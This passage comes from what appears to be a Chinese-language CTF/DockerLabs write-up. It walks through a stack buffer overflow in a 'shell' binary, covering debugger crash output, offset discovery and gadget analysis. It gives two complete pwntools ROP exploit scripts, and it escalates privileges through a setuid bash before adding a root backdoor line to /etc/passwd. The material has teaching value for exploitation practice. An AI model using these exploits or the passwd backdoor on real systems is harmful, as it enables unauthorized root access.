aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> r
Starting program: /home/Pepster/dockerlabs/shell
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣤⡾⠻⠫⣦⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⢀⣰⡲⡿⢳⣦⡀⠄⠄⠸⠉⠇⠄⢀⣾⡃⠄⠄⠄⣠⣦⡿⣷⣤⡀⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠸⠯⠁⠄⠈⣗⡃⠄⠄⠠⠒⠄⣠⡺⠎⠁⠄⠄⢘⣳⠃⠄⠈⠭⠷⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠒⢶⠄⢠⣽⢣⣄⠄⠄⢠⣶⠋⢠⡀⠄⠄⢀⣄⢯⣄⠄⠰⠖⠂⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⢀⣆⢶⢰⣄⠄⢁⢢⠶⠁⠃⢻⢷⠄⣶⡏⠄⠩⣿⠄⣸⠎⠋⠈⠷⡄⢏⠁⡠⣶⣶⣶⣄⠄⠄⠄⠄
⠄⠄⠄⢶⢏⠤⡀⣼⠄⠁⣼⡏⢰⣦⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠄⣶⢸⣷⠄⠄⣿⠄⡠⢬⡶⠄⠄⠄⠄
⠄⠄⠄⠄⡁⠩⡃⢻⠄⠄⠹⣇⢸⣿⠄⠄⣠⠤⠄⠄⠄⠠⣤⠄⠄⠄⣿⡸⡏⠄⠄⡿⠘⢌⢃⠁⠄⠄⠄⠄
⠄⠄⠄⠄⡀⣀⡀⠈⢷⡄⡄⣠⢸⣿⠄⠄⢿⣌⠐⠄⠰⢈⣼⠇⠄⠄⣿⣌⣀⣤⡜⠋⢀⣀⣀⡀⠄⠄⠄⠄
⠄⠄⠠⠬⠛⠘⠻⣦⠄⠈⠁⣡⢸⣿⠄⠈⣄⣀⢀⡀⣀⢀⢀⠆⠄⠄⣿⣌⠉⠁⠄⣔⡟⠛⠛⠯⠄⠄⠄⠄
⠄⠄⡈⠲⠁⠄⠄⢺⣣⢰⡼⠏⢸⣿⠄⠄⠈⠟⢸⡇⡿⠘⠈⠄⠄⠄⣿⢓⡟⣶⣶⡛⠂⠄⠸⠖⠪⠄⠄⠄
⠄⠄⢇⠉⠄⠄⠄⠄⠈⢈⣁⣀⢸⣿⣶⣶⣶⣶⣶⣶⢶⡶⣶⣶⣶⡶⣿⡀⣀⡉⠈⠄⠄⠄⠄⠋⠄⠄⠄⠄
⠄⠄⠈⣐⡻⠹⠷⠄⠰⡟⠘⠋⠄⠄⣀⡠⠠⢤⠄⠤⠄⣤⠤⠄⣀⠄⠄⠁⠙⢛⡷⠄⠴⠟⢾⣂⠄⠄⠄⠄
⠄⠄⠄⣭⡇⠄⠅⢀⢛⠂⠄⣠⣤⢶⡿⠂⢨⣳⠄⣻⡃⢚⣧⠄⠚⣵⣠⣄⡀⠄⣻⡃⡻⡀⠄⣭⡇⠄⠄⠄
⠄⠄⠄⠹⣾⣄⣤⡼⡓⢀⣾⠏⠉⠄⣀⣠⡺⡍⠄⣽⡅⠸⡿⣦⢀⠄⠈⠩⣷⡄⠸⡫⣠⡤⣶⠊⠄⠄⠄⠄
⠄⠄⠄⠄⠈⢠⡍⠉⠄⠐⣭⡤⣴⢿⡭⣯⣥⣤⣤⢯⢤⣤⡤⣭⡬⣽⢷⣤⡭⠱⠄⠄⢩⠁⠁⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠁⠄⠄⣜⣾⠭⠍⠬⠡⠍⠬⠅⠭⠨⠨⠨⠅⠍⠥⠩⠌⠥⢻⡽⡀⠄⠈⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⡜⣾⠣⠍⠭⠡⠭⠨⠭⠥⠭⠬⠬⠬⡁⠥⠩⠍⠭⠩⠝⣿⡱⡀⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠨⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠵⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
[Detaching after vfork from child process 1845880]
Fri May 16 09:00:46 PM CST 2025
# aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[!] YOU GOT R007 - C0NGR47ULA710N5 [!]

Program received signal SIGSEGV, Segmentation fault.
0x000000000040134f in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
RAX 0x27
RBX 0x7ffe19171ec8 —▸ 0x7ffe1917340f ◂— '/home/Pepster/dockerlabs/shell'
RCX 0x7fe12926b936 (write+22) ◂— add rsp, 0x18
RDX 0
RDI 0x7fe1293507b0 (_IO_stdfile_1_lock) ◂— 0
RSI 0x7fe12934f643 (_IO_2_1_stdout_+131) ◂— 0x3507b0000000000a /* '\n' */
R8 0
R9 0
R10 0
R11 0x202
R12 0
R13 0x7ffe19171ed8 —▸ 0x7ffe1917342e ◂— 'SHELL=/bin/bash'
R14 0x7fe1293af000 (_rtld_global) —▸ 0x7fe1293b0310 ◂— 0
R15 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401190 (__do_global_dtors_aux) ◂— endbr64
RBP 0x6161616161616171 ('qaaaaaaa')
RSP 0x7ffe19171da8 ◂— 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
RIP 0x40134f (pwnme+262) ◂— ret
─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
► 0x40134f <pwnme+262> ret <0x6161616161616172>










──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe19171da8 ◂— 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
01:0008│ 0x7ffe19171db0 ◂— 'saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
02:0010│ 0x7ffe19171db8 ◂— 'taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
03:0018│ 0x7ffe19171dc0 ◂— 'uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
04:0020│ 0x7ffe19171dc8 ◂— 'vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
05:0028│ 0x7ffe19171dd0 ◂— 'waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
06:0030│ 0x7ffe19171dd8 ◂— 'xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
07:0038│ 0x7ffe19171de0 ◂— 'yaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
► 0 0x40134f pwnme+262
1 0x6161616161616172 None
2 0x6161616161616173 None
3 0x6161616161616174 None
4 0x6161616161616175 None
5 0x6161616161616176 None
6 0x6161616161616177 None
7 0x6161616161616178 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
Undefined command: "haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa". Try "help".
pwndbg> cyclic -l 0x6161616161616172
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136

并且通过IDA Pro分析得知存在两个函数_x1 _x2

pop r13地址为0x40149D_X2地址为0x4014A3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000000000401499
.text:0000000000401499 ; =============== S U B R O U T I N E =======================================
.text:0000000000401499
.text:0000000000401499 ; Attributes: bp-based frame
.text:0000000000401499
.text:0000000000401499 ; void x1()
.text:0000000000401499 public _x1
.text:0000000000401499 _x1 proc near
.text:0000000000401499 ; __unwind {
.text:0000000000401499 push rbp
.text:000000000040149A mov rbp, rsp
.text:000000000040149D pop r13 ; 将栈顶值弹出到 r13
.text:000000000040149F retn ; 返回
.text:000000000040149F _x1 endp
.text:000000000040149F
.text:000000000040149F ; ---------------------------------------------------------------------------
.text:00000000004014A0 db 90h
.text:00000000004014A1 ; ---------------------------------------------------------------------------
.text:00000000004014A1 pop rbp
.text:00000000004014A2 retn
.text:00000000004014A2 ; } // starts at 401499
.text:00000000004014A3
.text:00000000004014A3 ; =============== S U B R O U T I N E =======================================
.text:00000000004014A3
.text:00000000004014A3 ; Attributes: bp-based frame
.text:00000000004014A3
.text:00000000004014A3 ; void __fastcall x2()
.text:00000000004014A3 public _x2
.text:00000000004014A3 _x2 proc near
.text:00000000004014A3 ; __unwind {
.text:00000000004014A3 push rbp
.text:00000000004014A4 mov rbp, rsp
.text:00000000004014A7 mov rdi, rsp ; 将 rsp 的值赋给 rdi(参数1)
.text:00000000004014AA jmp r13 ; 跳转到 r13 指定的地址
.text:00000000004014AA _x2 endp
.text:00000000004014AA
.text:00000000004014AA ; ---------------------------------------------------------------------------

x1 函数

  • 作用:从栈顶弹出一个值到 r13 寄存器,并返回。

  • Gadget 特性pop r13; ret,可用于控制 r13 的值。

x2 函数

  • 作用:将当前栈指针 rsp 的值赋给 rdi(第1个参数寄存器),并跳转到 r13 指定的地址。

  • Gadget 特性mov rdi, rsp; jmp r13,可控制参数和跳转目标。

    通过 x1x2 构造链,实现 system("/bin/sh")execve 调用:

    1. x1 设置 r13 为目标函数地址(如 system)。
    2. x2rsp(栈指针)赋给 rdi,并跳转到 r13 执行。

或者根据ROPgadget也可以查询到pop r13地址

1
2
3
4
5
❯ ROPgadget --binary shell | grep "pop r13"
0x000000000040149b : mov ebp, esp ; pop r13 ; ret
0x000000000040149a : mov rbp, rsp ; pop r13 ; ret
0x000000000040149d : pop r13 ; ret
0x0000000000401499 : push rbp ; mov rbp, rsp ; pop r13 ; ret

查找system_plt的地址,得到0x401040

1
2
3
4
❯ objdump -d ./shell|grep "system"
0000000000401040 <system@plt>:
401040: ff 25 c2 2f 00 00 jmp *0x2fc2(%rip) # 404008 <system@GLIBC_2.2.5>
401491: e8 aa fb ff ff call 401040 <system@plt>

所以总的ROP链就是padding+shellcode+_x1+system_addr+_x2

ROP 链构造逻辑

(1) 目标

  1. system 的地址加载到 r13

  2. /tmp/sh 字符串的地址加载到 rdi

  3. 调用 system("/tmp/sh")

    (2) 步骤分解

    1. 覆盖返回地址:指向 x1中的 pop r13; ret地址0x40149D)。

      • pop r13 会从栈中弹出下一个值(即 system 的地址)到 r13
      • ret 指令将栈顶的下一个地址(即 x2_addr)载入 RIP,程序跳转到 x2 函数。
  4. 执行x2
    函数(地址 0x4014A3):

    • mov rdi, rsp:将当前栈顶地址(即 x2 返回后的栈顶)赋给 rdi
    • jmp r13:跳转到 r13 中的地址(即 system 的地址)。
    1. 此时栈布局:

      • rdi 指向栈顶,即 /tmp/sh 字符串的地址。
    • system 被调用,参数为 rdi 指向的字符串。

Root提权

其实前面的寻址过程可以省略,不过为了方便我自己理解还是放上来

通过pwntools可以将寻找地址的工作简化,最终payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# 配置目标程序和环境
context(arch='amd64', os='linux', log_level='info') # 自动适配架构和日志级别
binary = './shell' # 替换为你的二进制文件路径

# 加载二进制文件信息
e = ELF(binary)
rop = ROP(e)

# 关键参数(需根据实际二进制文件调整)
offset = 136 # 溢出点到返回地址的偏移量(通过调试确定)
pop_r13_addr = rop.find_gadget(['pop r13', 'ret']).address # 自动搜索 pop r13; ret
x2_addr = 0x4014A3 # x2 函数地址(需替换,例如通过 objdump 查找)
system_addr = e.plt['system'] # 自动获取 system@plt 地址(若无符号需手动指定)
tmp_shell = b'/tmp/sh\x00' # 字符串参数

# 构造 payload
payload = flat(
b'A' * (offset-len(tmp_shell)),# 填充至返回地址前
tmp_shell, # 字符串参数(x2 执行时 rsp 指向此处)
pop_r13_addr, # pop r13; ret
system_addr, # 弹入 R13
x2_addr, # x2: mov rdi, rsp; jmp r13
)

# 启动进程
# p = process(e.path)
p = remote('127.0.0.1', 1234) # 远程攻击时使用

# 发送 payload
p.sendline(payload)

# 进入交互模式(获取 shell)
p.interactive()

由于靶机中没有pwntools,所以通过内网穿透的方式来执行payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
tyler@0624115b7fce:/tmp/toolkit-zruDUcEt$ 2025/05/16 08:06:17 client: Connecting to ws://172.17.0.1:2333
2025/05/16 08:06:17 client: Connected (Latency 405.521µs)
tyler@0624115b7fce:/tmp/toolkit-zruDUcEt$ ./busybox nc -lvp 1234 -e ~/shell
listening on [::]:1234 ...
connect to [::ffff:127.0.0.1]:1234 from localhost:52018 ([::ffff:127.0.0.1]:52018)
Segmentation fault
--------------------------------------
# Kali中执行exp
❯ python3 exp2.py
[*] '/home/Pepster/dockerlabs/shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Loaded 6 cached gadgets for './shell'
[+] Opening connection to 127.0.0.1 on port 1234: Done
[*] Switching to interactive mode
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣤⡾⠻⠫⣦⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⢀⣰⡲⡿⢳⣦⡀⠄⠄⠸⠉⠇⠄⢀⣾⡃⠄⠄⠄⣠⣦⡿⣷⣤⡀⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠸⠯⠁⠄⠈⣗⡃⠄⠄⠠⠒⠄⣠⡺⠎⠁⠄⠄⢘⣳⠃⠄⠈⠭⠷⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠒⢶⠄⢠⣽⢣⣄⠄⠄⢠⣶⠋⢠⡀⠄⠄⢀⣄⢯⣄⠄⠰⠖⠂⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⢀⣆⢶⢰⣄⠄⢁⢢⠶⠁⠃⢻⢷⠄⣶⡏⠄⠩⣿⠄⣸⠎⠋⠈⠷⡄⢏⠁⡠⣶⣶⣶⣄⠄⠄⠄⠄
⠄⠄⠄⢶⢏⠤⡀⣼⠄⠁⣼⡏⢰⣦⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠄⣶⢸⣷⠄⠄⣿⠄⡠⢬⡶⠄⠄⠄⠄
⠄⠄⠄⠄⡁⠩⡃⢻⠄⠄⠹⣇⢸⣿⠄⠄⣠⠤⠄⠄⠄⠠⣤⠄⠄⠄⣿⡸⡏⠄⠄⡿⠘⢌⢃⠁⠄⠄⠄⠄
⠄⠄⠄⠄⡀⣀⡀⠈⢷⡄⡄⣠⢸⣿⠄⠄⢿⣌⠐⠄⠰⢈⣼⠇⠄⠄⣿⣌⣀⣤⡜⠋⢀⣀⣀⡀⠄⠄⠄⠄
⠄⠄⠠⠬⠛⠘⠻⣦⠄⠈⠁⣡⢸⣿⠄⠈⣄⣀⢀⡀⣀⢀⢀⠆⠄⠄⣿⣌⠉⠁⠄⣔⡟⠛⠛⠯⠄⠄⠄⠄
⠄⠄⡈⠲⠁⠄⠄⢺⣣⢰⡼⠏⢸⣿⠄⠄⠈⠟⢸⡇⡿⠘⠈⠄⠄⠄⣿⢓⡟⣶⣶⡛⠂⠄⠸⠖⠪⠄⠄⠄
⠄⠄⢇⠉⠄⠄⠄⠄⠈⢈⣁⣀⢸⣿⣶⣶⣶⣶⣶⣶⢶⡶⣶⣶⣶⡶⣿⡀⣀⡉⠈⠄⠄⠄⠄⠋⠄⠄⠄⠄
⠄⠄⠈⣐⡻⠹⠷⠄⠰⡟⠘⠋⠄⠄⣀⡠⠠⢤⠄⠤⠄⣤⠤⠄⣀⠄⠄⠁⠙⢛⡷⠄⠴⠟⢾⣂⠄⠄⠄⠄
⠄⠄⠄⣭⡇⠄⠅⢀⢛⠂⠄⣠⣤⢶⡿⠂⢨⣳⠄⣻⡃⢚⣧⠄⠚⣵⣠⣄⡀⠄⣻⡃⡻⡀⠄⣭⡇⠄⠄⠄
⠄⠄⠄⠹⣾⣄⣤⡼⡓⢀⣾⠏⠉⠄⣀⣠⡺⡍⠄⣽⡅⠸⡿⣦⢀⠄⠈⠩⣷⡄⠸⡫⣠⡤⣶⠊⠄⠄⠄⠄
⠄⠄⠄⠄⠈⢠⡍⠉⠄⠐⣭⡤⣴⢿⡭⣯⣥⣤⣤⢯⢤⣤⡤⣭⡬⣽⢷⣤⡭⠱⠄⠄⢩⠁⠁⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠁⠄⠄⣜⣾⠭⠍⠬⠡⠍⠬⠅⠭⠨⠨⠨⠅⠍⠥⠩⠌⠥⢻⡽⡀⠄⠈⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⡜⣾⠣⠍⠭⠡⠭⠨⠭⠥⠭⠬⠬⠬⡁⠥⠩⠍⠭⠩⠝⣿⡱⡀⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠨⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠵⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
Fri May 16 08:14:25 CST 2025
# [!] YOU GOT R007 - C0NGR47ULA710N5 [!]
[*] Got EOF while reading in interactive
$
-----------------------
# 靶机内查看执行是否生效
tyler@0624115b7fce:/tmp/toolkit-zruDUcEt$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash

bash正常提权即可

1
2
3
4
5
6
7
8
9
10
11
tyler@0624115b7fce:/tmp/toolkit-zruDUcEt$ bash -p
bash-5.2# whoami
root
bash-5.2# echo 'primary:zSZ7Whrr8hgwY:0:0::/root:/bin/bash'>>/etc/passwd
bash-5.2# exit
exit
tyler@0624115b7fce:/tmp/toolkit-zruDUcEt$ su primary
Password:
root@0624115b7fce:/tmp/toolkit-zruDUcEt# cd /root/
root@0624115b7fce:~# id
uid=0(root) gid=0(root) groups=0(root)

Method2

或者利用如下payload,感谢lemon大佬给我解惑🎉

因为x2_addr中存在push rbp使rsp 减少 8 字节

image

调整 x2_addr 的入口地址为 0x004014A7(跳过 push rbpmov rbp, rsp),可以避免 rsp 被修改,从而简化栈对齐问题

又因为 system 函数对栈对齐的要求是硬性的

所以需要在system_addr后面添加ret增加8字节实现栈对齐

在 64 位 Linux 中,system 函数调用时要求 **rsp % 16 == 8**(即调用时的栈指针需要满足 16 字节对齐,且在进入函数时 rsp 的地址末尾为 0x8)。
如果未对齐,system 内部使用 SSE 指令(如 movaps)时会触发段错误(Segmentation Fault)。

假设原始 rsp 在函数返回时为 0x7fffffffd000(16 字节对齐):

  1. ret 的情况
    • 执行 pop_r13_addr 后,rsp = 0x7fffffffd000 + 8(弹出 system_addr)。
    • 执行 ret(跳转到 x2_addr)后,rsp = 0x7fffffffd000 + 16
    • 此时 rsp % 16 == 0,调用 system 时会导致崩溃。
  2. ret 的情况
    • 执行 pop_r13_addr 后,rsp = 0x7fffffffd000 + 8
    • 执行 ret(跳转到 ret gadget)后,rsp = 0x7fffffffd000 + 16
    • 再执行 ret(跳转到 x2_addr)后,rsp = 0x7fffffffd000 + 24
    • 此时 rsp % 16 == 8,满足 system 的对齐要求。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

# 配置目标程序和环境
context(arch='amd64', os='linux', log_level='info') # 自动适配架构和日志级别
binary = './shell' # 替换为你的二进制文件路径

# 加载二进制文件信息
e = ELF(binary)
rop = ROP(e)

# 关键参数(需根据实际二进制文件调整)
offset = 136 # 溢出点到返回地址的偏移量(通过调试确定)
pop_r13_addr = rop.find_gadget(['pop r13', 'ret']).address # 自动搜索 pop r13; ret
#x2_addr = 0x4014A3 # x2 函数地址(需替换,例如通过 objdump 查找)
system_addr = e.plt['system'] # 自动获取 system@plt 地址(若无符号需手动指定)
tmp_shell = b'/tmp/sh\x00' # 字符串参数
x2_ addr=0x004014A7 # 跳过 push rbp
ret=0x04014AF
# 构造 payload
payload = flat(
b'A' * (offset),# 填充至返回地址前
# 字符串参数(x2 执行时 rsp 指向此处)
pop_r13_addr, # pop r13; ret
system_addr, # 弹入 R13
ret, # 对齐栈(关键!)
x2_addr, # 跳转到 x2: mov rdi, rsp; jmp r13
tmp_shell
)

# 启动进程
#p = process(e.path)
p = remote('127.0.0.1', 1234) # 远程攻击时使用
#gdb.attach(p)
#pause()
# 发送 payload
p.sendline(payload)

# 进入交互模式(获取 shell)
p.interactive()
总字数 633.1k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务